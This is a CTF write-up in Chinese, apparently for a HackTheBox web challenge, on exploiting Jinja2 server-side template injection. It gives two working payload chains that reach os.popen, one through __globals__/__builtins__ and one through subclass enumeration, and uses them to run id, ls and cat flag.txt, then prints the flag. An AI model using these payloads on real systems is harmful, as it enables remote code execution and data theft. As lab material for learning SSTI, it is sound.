Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目描述

image-20250327210424995

(无附件)

观察

打开网站会发现一片空白:

image-20250327210509830

专门提示了是Jinja2,所以大概率是注入,而Jinja2注入的格式为

1
{{ code }}

(以下用server来指代当前网址)

因为没有给网页源代码,所以只能不断尝试。然后会发现当将当前url修改成

1
server/{{7*7}}

时,会显示

image-20250327210938904

可以看到 7*7 确实被执行了,所以确定这里就是注入口。

渗透

有至少2种方法:

第一种

通过模板中函数对象的 __globals__ 拿到全局作用域,然后借助 ____builtins__[__import__]__ 导入 os ,用 os.popen() 执行命令。

核心链路:

1
2
3
4
5
6
7
8
9
10
11
self

__init__ ← 模板函数对象

__globals__ ← 函数的全局变量字典

__builtins__['__import__'] ← 导入函数

__import__('os') ← 导入 os 模块

os.popen('命令').read() ← 执行命令并读取结果

按以下顺序注入:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

image-20250327213648661

确认了当前注入方式可行。

然后查找 flag 文件:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}

image-20250327213726011

最后直接读取flag:

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}

image-20250327213803700

第二种

使用这个模板来发起命令执行(RCE)攻击:

1
{{ [].__class__.__base__.__subclasses__()[<index>].__init__.__globals__['os'].popen('id').read() }}

(需要找到popen对应的index)

首先用

1
{{ [].__class__.__base__.__subclasses__() }}

image-20250327214655263

列出所有 subclasses,然后通过

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }}: {{ c }}
{% endif %}
{% endfor %}

找到 popen 的index:

image-20250327214855996

通过尝试

1
{{ [].__class__.__base__.__subclasses__()[414].__init__.__globals__['os'].popen('id').read() }}

image-20250327215036879

确认可以成功RCE。

接着就跟之前一样先找然后再读取flag:

1
{{ [].__class__.__base__.__subclasses__()[414].__init__.__globals__['os'].popen('ls').read() }}

image-20250327215219651

1
{{ [].__class__.__base__.__subclasses__()[414].__init__.__globals__['os'].popen('cat flag.txt').read() }}

image-20250327215241749

拿到flag:HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}